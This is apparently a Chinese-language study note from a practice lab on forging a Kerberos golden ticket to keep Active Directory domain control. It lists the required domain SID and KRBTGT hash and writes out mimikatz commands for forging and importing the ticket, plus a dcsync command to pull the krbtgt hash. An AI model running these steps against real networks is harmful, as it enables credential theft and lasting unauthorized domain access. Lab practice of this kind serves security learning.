内网渗透--黄金票据

域渗透-----黄金票据的使用

前言

今天主要学习内容为黄金票据的制作，黄金票据主要是权限维持，因为经验少，所以一直不明白一个问题，就是在制作黄金票据时候需要KRBTGT的hash，KRBTGT的hash需要域控权限，而且每张黄金票据制作后仅可维持十个小时，那么黄金票据的主要作用是什么？是hw时管理员突然改域控密码，此时黄金票据可以维持权限、继续渗透嘛？

Kerberos黄金票据是有效的TGT Kerberos票据，因为它是由域Kerberos帐户（KRBTGT）加密和签名的。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的。

票据制作

票据制作需要以下几点：
1、域名称
2、域的SID值
3、域的KRBTGT账户密码HASH
4、伪造用户名，可以是任意的

靶场为红日靶场

1、获取域名称
在获取到权限的普通机器执行systeminfo

2、获取域的sid值
使用命令whoami /all

sid值为S-1-5-21-2952760202-1353902439-2381784089-500
500指的是权限，后面制作时候不需要加上500

3、域的KRBTGT账户密码HASH
在域控机器下执行命令获取hash，使用mimikatz获取hash时候，需要管理员权限运行，并且privilege::debug,提升权限。

hash值为58e91a5ac358d86513ab224312314061，一般运维人员不会修改此账号的hash，因此可一直利用此hash对域控进行控制。

4、高权限票据的制作
在普通机器输入
kerberos::golden /admin:administrator /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /ticket:0522.kiribi

此时目录下生成新的文件

然后我们再把 0522.kribi 利用mimikatz 进行导入

kerberos::purge #清空已有票据

kerberos::ptt 0522.kiribi #导入票据

kerberos::list # 查看票据

此时在命令窗口输入lsadump::dcsync /domain:god.org /user:krbtgt，因为之前在导入票据前输入该命令报错，因为权限不足
此时输入命令

发现可成功查询

总结

综上，算是可以对黄金票据的制作流程有了了解，可用于长期维持域控权限，因为域控密码虽然修改，或控制域控的漏洞被修复，但若KRBTGT的hash不变，则可一直维持域控权限。其实还可以直接使用cs插件直接制作黄金票据，这里便不做过多介绍。